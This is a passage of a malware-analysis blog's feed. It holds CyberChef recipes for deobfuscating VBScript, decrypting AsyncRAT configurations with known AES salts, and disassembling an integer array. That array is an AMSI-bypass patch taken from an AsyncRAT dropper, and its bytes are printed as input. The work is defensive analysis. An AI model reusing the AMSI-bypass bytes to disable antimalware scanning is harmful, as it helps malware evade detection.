Deobfuscation&lt;/h4&gt;&lt;p&gt;&lt;code&gt;Find_/_Replace({&apos;option&apos;:&apos;Simple string&apos;,&apos;string&apos;:&apos;&amp;amp;H&apos;},&apos;0x&apos;,true,false,true,false)&lt;br/&gt;
Subsection(&apos;chr\\(\\d+-\\((0x[A-Fa-f0-9]+)\\)\\)&apos;,true,true,false)&lt;br/&gt;
From_Base(16)&lt;br/&gt;
Merge(true)&lt;br/&gt;
Find_/_Replace({&apos;option&apos;:&apos;Simple string&apos;,&apos;string&apos;:&apos;-(&apos;},&apos;:&apos;,true,false,true,false)&lt;br/&gt;
Find_/_Replace({&apos;option&apos;:&apos;Simple string&apos;,&apos;string&apos;:&apos;))&apos;},&apos;)&apos;,true,false,true,false)&lt;br/&gt;
Regular_expression(&apos;User defined&apos;,&apos;chr\\(([^)]+)\\)&apos;,true,true,false,false,false,false,&apos;List capture groups&apos;)&lt;br/&gt;
Fork(&apos;\\n&apos;,&apos;&apos;,false)&lt;br/&gt;
Subtract(&apos;Colon&apos;)&lt;br/&gt;
From_Decimal(&apos;Space&apos;,false)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;According to a recent announcement, &lt;a href=&quot;https://www.bleepingcomputer.com/news/security/microsoft-to-kill-off-vbscript-in-windows-to-block-malware-delivery/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;Microsoft&lt;/a&gt; has stated that VBScript will be removed from Windows in a future release, which is a positive development for us. However, the CyberChef operations mentioned above will still be useful.&lt;/p&gt;

</content:encoded><category>tools</category><category>tools/cyberchef</category><category>cyberchef</category><category>cyberchef-recipe</category><category>infostealer</category><category>redline</category><category>vbscript</category></item><item><title>AsyncRAT config decryption using CyberChef – Recipe 0x2</title><link>https://www.securityinbits.com/tools/cyberchef/asyncrat-config-decryption-using-cyberchef-recipe-2/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=975</guid><description>Decrypt AsyncRAT configurations effortlessly using CyberChef with our step-by-step guide. Dive into the recipe and enhance your malware analysis skills.</description><pubDate>Mon, 07 Aug 2023 15:17:19 GMT</pubDate><content:encoded>&lt;p&gt;In the realm of malware analysis, tools like CyberChef play a pivotal role. One of the challenges that malware analysts often face is decrypting configurations of Remote Access Trojans (RATs) like AsyncRAT. This article provides a step-by-step guide on how to decrypt AsyncRAT configurations using CyberChef.&lt;/p&gt;
&lt;h4 id=&quot;decrypting-asyncrat-configurations&quot;&gt;&lt;a href=&quot;https://github.com/Securityinbits/AsyncRAT-Analysis/blob/main/CyberChef_Recipe.md&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;Decrypting AsyncRAT Configurations&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;AsyncRAT is a notorious RAT that enables attackers to remotely control infected systems. Decrypting its configurations can be a daunting task, but with the right tools and techniques, it’s achievable.&lt;/p&gt;
&lt;p&gt;For those keen on exploring more about config decryption techniques, I recommend diving into &lt;a href=&quot;/malware-analysis/asyncrat-config-decryption-techniques-and-salt-analysis/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;my previous article&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&quot;cyberchef-recipe-for-asyncrat-config-decryption&quot;&gt;&lt;a href=&quot;https://github.com/Securityinbits/AsyncRAT-Analysis/blob/main/CyberChef_Recipe.md&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;CyberChef Recipe for AsyncRAT config decryption&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;Regular_expression(&apos;User defined&apos;,&apos;public static string \\w+\\s+\\=[ &quot;0-9a-zA-Z+/=]{12,}&apos;,true,true,false,false,false,false,&apos;List matches&apos;)&lt;br/&gt;
Find_/_Replace({&apos;option&apos;:&apos;Simple string&apos;,&apos;string&apos;:&apos;public static string &apos;},&apos;&apos;,true,false,true,false)&lt;br/&gt;
Register(&apos;([\\s\\S]*)&apos;,true,false,false)&lt;br/&gt;
Comment(&apos;Input: In the filter operation box below, add the variable name that stores the AES key, e.g. Key&apos;)&lt;br/&gt;
Filter(&apos;Line feed&apos;,&apos;&apos;,false)&lt;br/&gt;
Regular_expression(&apos;User defined&apos;,&apos;(?&amp;lt;=\\&quot;)(.+?)(?=\\&quot;)&apos;,true,true,false,false,false,false,&apos;List matches&apos;)&lt;br/&gt;
Register(&apos;([\\s\\S]*)&apos;,true,false,false)&lt;br/&gt;
Comment(&apos;Input: If you don\&apos;t know the salt value, then try using the following salts. Don\&apos;t forget to select the proper salt format HEX or UTF8.\n\nI have encountered only 2 salts for AsyncRAT:\n\nbfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941 (Format: HEX)\n\nDcRatByqwqdanchun (Format: UTF8)&apos;)&lt;br/&gt;
Derive_PBKDF2_key({&apos;option&apos;:&apos;Base64&apos;,&apos;string&apos;:&apos;$R1&apos;},256,50000,&apos;SHA1&apos;,{&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;&apos;})&lt;br/&gt;
Register(&apos;([\\s\\S]*)&apos;,true,false,false)&lt;br/&gt;
Find_/_Replace({&apos;option&apos;:&apos;Regex&apos;,&apos;string&apos;:&apos;.*&apos;},&apos;$R0&apos;,false,false,false,true)&lt;br/&gt;
Comment(&apos;Input: In the filter operation box below, add the variable name that stores the AES key, e.g. Key&apos;)&lt;br/&gt;
Filter(&apos;Line feed&apos;,&apos;&apos;,true)&lt;br/&gt;
Subsection(&apos;(?&amp;lt;=\\&quot;)([0-9a-zA-Z+/=]{32,})(?=\\&quot;)&apos;,true,true,false)&lt;br/&gt;
Fork(&apos;\\n&apos;,&apos;\\n&apos;,false)&lt;br/&gt;
From_Base64(&apos;A-Za-z0-9+/=&apos;,true,false)&lt;br/&gt;
To_Hex(&apos;None&apos;,0)&lt;br/&gt;
Drop_bytes(0,64,false)&lt;br/&gt;
Register(&apos;(.{32})(.*)&apos;,true,false,false)&lt;br/&gt;
Drop_bytes(0,32,false)&lt;br/&gt;
AES_Decrypt({&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;$R2&apos;},{&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;$R3&apos;},&apos;CBC&apos;,&apos;Hex&apos;,&apos;Raw&apos;,{&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;&apos;},{&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;&apos;})&lt;br/&gt;
Merge(true)&lt;br/&gt;
Find_/_Replace({&apos;option&apos;:&apos;Regex&apos;,&apos;string&apos;:&apos;$&apos;},&apos;\\nAES_KEY = &quot;$R2&quot;&apos;,false,false,false,true)&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&quot;input-required&quot;&gt;Input required&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;The AsyncRAT line of code which contain encrypted setting&lt;/li&gt;
&lt;li&gt;Salt
&lt;ul&gt;
&lt;li&gt;
&lt;p dir=&quot;auto&quot; tabindex=&quot;-1&quot;&gt;&lt;strong&gt;bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941 (Format: HEX)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p dir=&quot;auto&quot; tabindex=&quot;-1&quot;&gt;&lt;strong&gt;DcRatByqwqdanchun (Format: UTF8)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The variable name that stores the AES key&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;md5-37e965330586a51125db2a420917db17&quot;&gt;&lt;a href=&quot;https://bazaar.abuse.ch/sample/b06b398feb7402b0dfe6173944da3413160c8608d60c89fa5311b65892135f5c/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;Md5: 37e965330586a51125db2a420917db17&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Follow the steps below to decrypt AsyncRAT configurations:&lt;/p&gt;
&lt;h5&gt;Step 1&lt;/h5&gt;
&lt;p&gt;Load the file in &lt;a href=&quot;https://github.com/dnSpyEx/dnSpy&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;dnSpyEx&lt;/a&gt;. After loading the assembly, right click &amp;amp; select  ‘&lt;strong&gt;Go to Entry point&lt;/strong&gt;‘. Navigate to the first function present inside if ()  i.e. &lt;em&gt;Settings.InitializeSettings(). C&lt;/em&gt;lick on this function to navigate to the definition of this function in the &lt;em&gt;Settings&lt;/em&gt; class.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2023/08/AsyncRAT-Step-1.png&quot;&gt;&lt;img alt=&quot;AsyncRAT Step 1&quot; decoding=&quot;async&quot; height=&quot;365&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1089px) 100vw, 1089px&quot; src=&quot;/wp-content/uploads/2023/08/AsyncRAT-Step-1.png&quot; srcset=&quot;/wp-content/uploads/2023/08/AsyncRAT-Step-1.png 1089w, /wp-content/uploads/2023/08/AsyncRAT-Step-1-300x101.png 300w, /wp-content/uploads/2023/08/AsyncRAT-Step-1-1024x343.png 1024w, /wp-content/uploads/2023/08/AsyncRAT-Step-1-768x257.png 768w&quot; width=&quot;1089&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;AsyncRAT Step 1&lt;/figcaption&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;h5&gt;Step 2&lt;/h5&gt;
&lt;p&gt;Navigate to the &lt;code&gt;Setting&lt;/code&gt; class and copy all public static declarations to CyberChef.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2023/08/AsyncRAT-Setting-class-Step-2.png&quot;&gt;&lt;img alt=&quot;AsyncRAT Setting class Step 2&quot; decoding=&quot;async&quot; height=&quot;1131&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1333px) 100vw, 1333px&quot; src=&quot;/wp-content/uploads/2023/08/AsyncRAT-Setting-class-Step-2.png&quot; srcset=&quot;/wp-content/uploads/2023/08/AsyncRAT-Setting-class-Step-2.png 1333w, /wp-content/uploads/2023/08/AsyncRAT-Setting-class-Step-2-300x255.png 300w, /wp-content/uploads/2023/08/AsyncRAT-Setting-class-Step-2-1024x869.png 1024w, /wp-content/uploads/2023/08/AsyncRAT-Setting-class-Step-2-768x652.png 768w&quot; width=&quot;1333&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;AsyncRAT Setting class Step 2&lt;/figcaption&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;h5&gt;Step 3&lt;/h5&gt;
&lt;p&gt;Load the CyberChef recipe and the public static string block of code. The variable name ‘Key’ will be used in Step 4&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2023/08/AsyncRAT-CyberChef-recipe-Load-Step-3.png&quot;&gt;&lt;img alt=&quot;AsyncRAT CyberChef recipe Load Step 3&quot; decoding=&quot;async&quot; height=&quot;743&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 2014px) 100vw, 2014px&quot; src=&quot;/wp-content/uploads/2023/08/AsyncRAT-CyberChef-recipe-Load-Step-3.png&quot; srcset=&quot;/wp-content/uploads/2023/08/AsyncRAT-CyberChef-recipe-Load-Step-3.png 2014w, /wp-content/uploads/2023/08/AsyncRAT-CyberChef-recipe-Load-Step-3-300x111.png 300w, /wp-content/uploads/2023/08/AsyncRAT-CyberChef-recipe-Load-Step-3-1024x378.png 1024w, /wp-content/uploads/2023/08/AsyncRAT-CyberChef-recipe-Load-Step-3-768x283.png 768w&quot; width=&quot;2014&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;AsyncRAT CyberChef recipe Load Step 3&lt;/figcaption&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;h5&gt;Step 4&lt;/h5&gt;
&lt;p&gt;Add the AES key variable name from the previous step. Note: Comments have been added in this CyberChef recipe for clarity.&lt;/p&gt;
&lt;h5&gt;Step 5&lt;/h5&gt;
&lt;p&gt;Input the salt and select utf-8, or try both salts, one should work. For more details read the comment in the recipe.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2023/08/AsyncRAT-CyberChef-recipe-Step-4-and-Step-5.png&quot;&gt;&lt;img alt=&quot;AsyncRAT CyberChef recipe Step 4 and Step 5&quot; decoding=&quot;async&quot; height=&quot;1319&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 770px) 100vw, 770px&quot; src=&quot;/wp-content/uploads/2023/08/AsyncRAT-CyberChef-recipe-Step-4-and-Step-5.png&quot; srcset=&quot;/wp-content/uploads/2023/08/AsyncRAT-CyberChef-recipe-Step-4-and-Step-5.png 770w, /wp-content/uploads/2023/08/AsyncRAT-CyberChef-recipe-Step-4-and-Step-5-175x300.png 175w, /wp-content/uploads/2023/08/AsyncRAT-CyberChef-recipe-Step-4-and-Step-5-598x1024.png 598w, /wp-content/uploads/2023/08/AsyncRAT-CyberChef-recipe-Step-4-and-Step-5-768x1316.png 768w&quot; width=&quot;770&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;AsyncRAT CyberChef recipe Step 4 and Step 5&lt;/figcaption&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;h5&gt;Last Step&lt;/h5&gt;
&lt;p&gt;Add the same AES key variable name from the previous steps. Click ‘Bake’; it should decrypt the config.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2023/08/AsyncRAT-CyberChef-Recipe-last-step.png&quot;&gt;&lt;img alt=&quot;AsyncRAT CyberChef Recipe last step&quot; decoding=&quot;async&quot; height=&quot;1327&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1507px) 100vw, 1507px&quot; src=&quot;/wp-content/uploads/2023/08/AsyncRAT-CyberChef-Recipe-last-step.png&quot; srcset=&quot;/wp-content/uploads/2023/08/AsyncRAT-CyberChef-Recipe-last-step.png 1507w, /wp-content/uploads/2023/08/AsyncRAT-CyberChef-Recipe-last-step-300x264.png 300w, /wp-content/uploads/2023/08/AsyncRAT-CyberChef-Recipe-last-step-1024x902.png 1024w, /wp-content/uploads/2023/08/AsyncRAT-CyberChef-Recipe-last-step-768x676.png 768w&quot; width=&quot;1507&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;AsyncRAT CyberChef Recipe last step&lt;/figcaption&gt;&lt;/figure&gt;&lt;h4 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h4&gt;&lt;p&gt;Decrypting AsyncRAT configurations can be a complex task, but with the right tools and recipes, it becomes manageable. CyberChef, with its versatile set of operations, is an excellent tool for this job. We hope this guide helps you in your malware analysis endeavors, especially when dealing with AsyncRAT.&lt;/p&gt;
&lt;p&gt;Note: This recipe was initially developed by Srujan Kumar. I have made few modifications to support the new AsyncRAT files.&lt;/p&gt;

</content:encoded><category>malware-analysis</category><category>tools</category><category>tools/cyberchef</category><category>net</category><category>asyncrat</category><category>config</category><category>cyberchef</category><category>cyberchef-recipe</category><category>rat</category><category>remote-access-tool</category></item><item><title>AsyncRAT: Config Decryption Techniques and Salt Analysis</title><link>https://www.securityinbits.com/malware-analysis/asyncrat-config-decryption-techniques-and-salt-analysis/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=978</guid><description>Explore AsyncRAT inner workings. Learn unique decryption techniques to enhance your cybersecurity skills today!</description><pubDate>Sat, 05 Aug 2023 06:42:20 GMT</pubDate><content:encoded>&lt;p&gt;In this article, we dive into the inner workings of AsyncRAT. This Remote Access Trojan (RAT) has seen a staggering 20% surge in its activity during the last quarter, as reported by the Spamhaus &lt;a href=&quot;https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;report&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We’ll explore diverse decryption methods for the AsyncRAT configuration and explore the AES Salts used in various files.&lt;/p&gt;
&lt;h3 id=&quot;what-is-asyncrat&quot;&gt;What is AsyncRAT?&lt;/h3&gt;&lt;p&gt;AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions.  (Source: &lt;a href=&quot;https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;Malpedia&lt;/a&gt;)&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;Delivery Methods: How Malware Spreads&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;Spear-phishing, malvertising, exploit kit, and other techniques serve as delivery methods for this malware.&lt;/p&gt;
&lt;h3 id=&quot;asyncrat-config-decryption-via-static-extractors&quot;&gt;AsyncRAT Config Decryption via Static Extractors&lt;/h3&gt;&lt;p&gt;Let’s dig deeper into decrypting the AsyncRAT configuration with static extractors like CyberChef Recipe and Python script.&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;Decryption Code for AsyncRAT&quot; decoding=&quot;async&quot; height=&quot;886&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 937px) 100vw, 937px&quot; src=&quot;/wp-content/uploads/2023/08/Decryption-Code-for-AsyncRAT.png&quot; srcset=&quot;/wp-content/uploads/2023/08/Decryption-Code-for-AsyncRAT.png 937w, /wp-content/uploads/2023/08/Decryption-Code-for-AsyncRAT-300x284.png 300w, /wp-content/uploads/2023/08/Decryption-Code-for-AsyncRAT-768x726.png 768w&quot; width=&quot;937&quot;/&gt;&lt;figcaption&gt;Decryption Code for AsyncRAT&lt;/figcaption&gt;&lt;/figure&gt;&lt;h5&gt;CyberChef Recipe&lt;/h5&gt;&lt;p&gt;One of the most efficient ways to decode the AsyncRAT config is by using the CyberChef Recipe developed by &lt;a href=&quot;https://github.com/SrujanKumar-K/AsyncRAT/tree/main&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;Srujan Kumar&lt;/a&gt;. I have made few modifications to existing recipe which support new AsyncRAT files.&lt;/p&gt;
&lt;p&gt;The updated recipe, available on &lt;a data-token-index=&quot;1&quot; href=&quot;https://github.com/Securityinbits/AsyncRAT-Analysis/blob/main/CyberChef_Recipe.md&quot; rel=&quot;noopener noreferrer&quot; tabindex=&quot;0&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;GitHub&lt;/span&gt;&lt;/a&gt;, works by decoding the AsyncRAT config. You need the code, salt, and variable name that stores the AES key. My research suggests that the current AsyncRAT samples predominantly use two salts.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For a step-by-step guide to use CyberChef to decrypt the AsyncRAT, check this &lt;a href=&quot;/tools/cyberchef/asyncrat-config-decryption-using-cyberchef-recipe-2/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;article.&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;Python Script&lt;/h5&gt;&lt;p&gt;Abdallah Elnoty has developed a small python script to decode the config. You can find all the details in this &lt;a data-token-index=&quot;1&quot; href=&quot;https://eln0ty.github.io/malware%20analysis/asyncRAT/#config-decryption&quot; rel=&quot;noopener noreferrer&quot; tabindex=&quot;0&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;article&lt;/span&gt;&lt;/a&gt; (Feb 2022).&lt;/p&gt;
&lt;h3 id=&quot;dynamic-approach-reflection-in-powershell&quot;&gt;Dynamic Approach: Reflection in PowerShell&lt;/h3&gt;&lt;p&gt;For those who prefer a more dynamic approach, &lt;a href=&quot;https://twitter.com/vinopaljiri&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;@vinopaljiri&lt;/a&gt; has shared an innovative technique for config decoding. This method involves using reflection and PowerShell to load the binary and then invoke the &lt;em&gt;InitializeSettings&lt;/em&gt; method, providing a quick and efficient approach. You can find more details &lt;a data-token-index=&quot;1&quot; href=&quot;https://twitter.com/vinopaljiri/status/1589721140318339072&quot; rel=&quot;noopener noreferrer&quot; tabindex=&quot;0&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;here&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;asyncrat-analysis-aes-salt&quot;&gt;AsyncRAT Analysis: AES Salt&lt;/h3&gt;&lt;p&gt;In my analysis of approximately 10-20 files, , I encountered only two distinct salts for AsyncRAT. You can find more details on my Github &lt;a href=&quot;https://github.com/Securityinbits/AsyncRAT-Analysis/blob/main/README.md&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;page&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;https://github.com/Securityinbits/AsyncRAT-Analysis/blob/main/README.md&quot;&gt;&lt;img alt=&quot;AsyncRAT Salt list with hashes&quot; decoding=&quot;async&quot; height=&quot;448&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 885px) 100vw, 885px&quot; src=&quot;/wp-content/uploads/2023/08/AsyncRAT_Salt.png&quot; srcset=&quot;/wp-content/uploads/2023/08/AsyncRAT_Salt.png 885w, /wp-content/uploads/2023/08/AsyncRAT_Salt-300x152.png 300w, /wp-content/uploads/2023/08/AsyncRAT_Salt-768x389.png 768w&quot; width=&quot;885&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;AsyncRAT Salt list with hashes&lt;/figcaption&gt;&lt;/figure&gt;&lt;h5&gt;&lt;strong&gt;Salt 1: bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941 (Format: HEX)&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;This salt is referenced in the AsyncRAT source code available on Github (Last commit: May 10, 2020). It is also utilized in Quasar RAT 1.3, as indicated in the &lt;a href=&quot;https://github.com/JPCERTCC/QuasarRAT-Analysis/blob/main/quasarrat_decode.py&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;QuasarRAT-Analysis&lt;/a&gt; from December 1, 2020.&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;Salt 2: DcRatByqwqdanchun (Format: UTF8)&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;This salt is also used by DcRat malware (First commit: Mar 20, 2021).&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;&lt;p&gt;These techniques are still effective on unpacked files, with some minor modifications. In the next blog post, we will delve deeper into CyberChef recipe and dynamic approach. Stay tuned!&lt;/p&gt;

</content:encoded><category>malware-analysis</category><category>net</category><category>asyncrat</category><category>config</category><category>cyberchef</category><category>cyberchef-recipe</category><category>rat</category><category>remote-access-tool</category></item><item><title>Converting Integers to Hex with CyberChef – Recipe 0x1</title><link>https://www.securityinbits.com/tools/cyberchef/converting-integers-to-hex-with-cyberchef-recipe-1/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=831</guid><description>We will use CyberChef to decode the integer array into hex and pad it with extra 0s if needed. Then, we can disassemble the code using an online tool or CyberChef.</description><pubDate>Fri, 14 Jul 2023 15:52:55 GMT</pubDate><content:encoded>&lt;p&gt;While analyzing malware, it’s common to encounter situations where you need to disassemble code sourced from an integer array. However, when you attempt to use the ‘To Hex’ function in CyberChef, it won’t work.&lt;/p&gt;
&lt;p&gt;The solution is to employ the ‘To Base’ operation with a radix value of 16.&lt;/p&gt;
&lt;p&gt;I was working on an initial .NET file that drops AsyncRAT. It contains following code to evade AMSI and found this &lt;a href=&quot;https://bazaar.abuse.ch/sample/43cc6ed0dcd1fa220283f7bbfa79aaf6342fdb5e73cdabdde67debb7e2ffc945/&quot;&gt;sample&lt;/a&gt; from OALABS Twitch stream.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SHA256&lt;/strong&gt;&lt;br/&gt;
&lt;code&gt;43cc6ed0dcd1fa220283f7bbfa79aaf6342fdb5e73cdabdde67debb7e2ffc945&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;For a quick guide to converting the integer array into Hex, padding zeros, and disassembling the code using CyberChef &lt;a href=&quot;https://gchq.github.io/CyberChef/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;tool&lt;/a&gt;, follow the steps detailed below.&lt;/p&gt;
&lt;p&gt;Update:&lt;br/&gt;
Reddit &lt;a href=&quot;https://www.reddit.com/user/pimmytrousers/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;pimmytrousers&lt;/a&gt; suggested the simple method to use &lt;strong&gt;From Decimal&lt;/strong&gt; , update the below recipe with the same. Thank you for suggestion.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2023/07/NET_code_for_AMSI_Bypass.png&quot;&gt;&lt;img alt=&quot;.NET code for AMSI Bypass&quot; decoding=&quot;async&quot; height=&quot;620&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1063px) 100vw, 1063px&quot; src=&quot;/wp-content/uploads/2023/07/NET_code_for_AMSI_Bypass.png&quot; srcset=&quot;/wp-content/uploads/2023/07/NET_code_for_AMSI_Bypass.png 1063w, /wp-content/uploads/2023/07/NET_code_for_AMSI_Bypass-300x175.png 300w, /wp-content/uploads/2023/07/NET_code_for_AMSI_Bypass-1024x597.png 1024w, /wp-content/uploads/2023/07/NET_code_for_AMSI_Bypass-768x448.png 768w&quot; width=&quot;1063&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;.NET code for AMSI Bypass&lt;/figcaption&gt;&lt;/figure&gt;&lt;h3 id=&quot;complete-cyberchef-recipe&quot;&gt;Complete CyberChef Recipe&lt;/h3&gt;&lt;p&gt;&lt;code&gt;From_Decimal(&apos;Comma&apos;,false)&lt;br/&gt;
To_Hex(&apos;Space&apos;,0)&lt;br/&gt;
Disassemble_x86(&apos;32&apos;,&apos;Full x86 architecture&apos;,16,0,true,true)&lt;/code&gt;&lt;/p&gt;
&lt;h6&gt;Step 1&lt;/h6&gt;&lt;p&gt;Using the &lt;strong&gt;To Decimal&lt;/strong&gt; operation with a  delimiter &lt;strong&gt;,.&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;Step 2&lt;/h6&gt;&lt;p&gt;Use the &lt;strong&gt;To Hex&lt;/strong&gt; operation with delimiter &lt;strong&gt;Space&lt;/strong&gt; to convert this in hex format.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2023/07/CyberChef-recipe-step-2.jpg&quot;&gt;&lt;img alt=&quot;CyberChef recipe step 2&quot; decoding=&quot;async&quot; height=&quot;1334&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1854px) 100vw, 1854px&quot; src=&quot;/wp-content/uploads/2023/07/CyberChef-recipe-step-2.jpg&quot; srcset=&quot;/wp-content/uploads/2023/07/CyberChef-recipe-step-2.jpg 1854w, /wp-content/uploads/2023/07/CyberChef-recipe-step-2-300x216.jpg 300w, /wp-content/uploads/2023/07/CyberChef-recipe-step-2-1024x737.jpg 1024w, /wp-content/uploads/2023/07/CyberChef-recipe-step-2-768x553.jpg 768w&quot; width=&quot;1854&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;CyberChef recipe step 2&lt;/figcaption&gt;&lt;/figure&gt;&lt;h6&gt;Final step&lt;/h6&gt;&lt;p&gt;Then, you can either leverage an online &lt;a href=&quot;https://defuse.ca/online-x86-assembler.htm#disassembly2&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;disassembler&lt;/a&gt; or the built-in CyberChef &lt;strong&gt;Disassemble x86&lt;/strong&gt; operation to get the final result.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2023/07/CyberChef-recipe-final-step.jpg&quot;&gt;&lt;img alt=&quot;CyberChef recipe final step&quot; decoding=&quot;async&quot; height=&quot;1376&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 2032px) 100vw, 2032px&quot; src=&quot;/wp-content/uploads/2023/07/CyberChef-recipe-final-step.jpg&quot; srcset=&quot;/wp-content/uploads/2023/07/CyberChef-recipe-final-step.jpg 2032w, /wp-content/uploads/2023/07/CyberChef-recipe-final-step-300x203.jpg 300w, /wp-content/uploads/2023/07/CyberChef-recipe-final-step-1024x693.jpg 1024w, /wp-content/uploads/2023/07/CyberChef-recipe-final-step-768x520.jpg 768w&quot; width=&quot;2032&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;CyberChef recipe final step&lt;/figcaption&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;p&gt;This is another method to do the same thing, but it requires more operations. Use the above recipe to decode it.&lt;/p&gt;
&lt;h5&gt;Complete CyberChef Recipe&lt;/h5&gt;&lt;p&gt;&lt;code&gt;Fork(&apos;,&apos;,&apos; &apos;,false)&lt;br/&gt;
To_Base(16)&lt;br/&gt;
Merge(true)&lt;br/&gt;
Find_/_Replace({&apos;option&apos;:&apos;Regex&apos;,&apos;string&apos;:&apos;\\b(\\w)\\b&apos;},&apos;0$1&apos;,true,false,true,false)&lt;br/&gt;
Disassemble_x86(&apos;32&apos;,&apos;Full x86 architecture&apos;,16,0,true,true)&lt;/code&gt;&lt;/p&gt;
&lt;h6&gt;Step 1&lt;/h6&gt;&lt;p&gt;Input:&lt;br/&gt;
&lt;code&gt;184, 87, 0, 7, 128, 195&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We’ll employ the &lt;strong&gt;Fork&lt;/strong&gt; operation to separate the input based on the ‘,’ delimiter, then proceed to run the next operation on each individual integer.&lt;/p&gt;
